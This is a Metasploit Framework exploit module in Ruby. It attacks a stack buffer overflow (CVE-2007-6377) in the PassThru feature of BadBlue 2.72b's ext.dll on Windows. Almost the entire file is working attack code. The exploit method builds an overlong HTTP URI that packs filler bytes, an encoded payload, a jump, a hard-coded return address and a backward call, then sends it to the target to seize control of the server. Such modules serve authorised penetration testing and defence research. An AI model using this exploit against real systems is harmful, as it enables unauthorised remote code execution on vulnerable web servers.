##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in the PassThru
					functionality in ext.dll in BadBlue 2.72b and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['BID', '26803'],
					['CVE', '2007-6377'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'	=>  'True',
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 10 2007'))
			
			register_options( [Opt::RPORT(80),], self.class ) 

	end

	def exploit
		# Need to obfuscate the buffer a bit more. "\x96" is ghetto.
		uri =  "/ext.dll?mfcisapicommand=PassThru&" + "\x96" * (4116 - payload.encoded.length)  
		uri << payload.encoded + Rex::Arch::X86.jmp_short(8) + make_nops(2) + [target.ret].pack('V') 
		uri << make_nops(12) + [0xe8, -850].pack('CV')   
 
		print_status("Trying target %s..." % target.name)

		send_request_raw({'uri' => uri,}, 5)

		handler
		disconnect
	end

end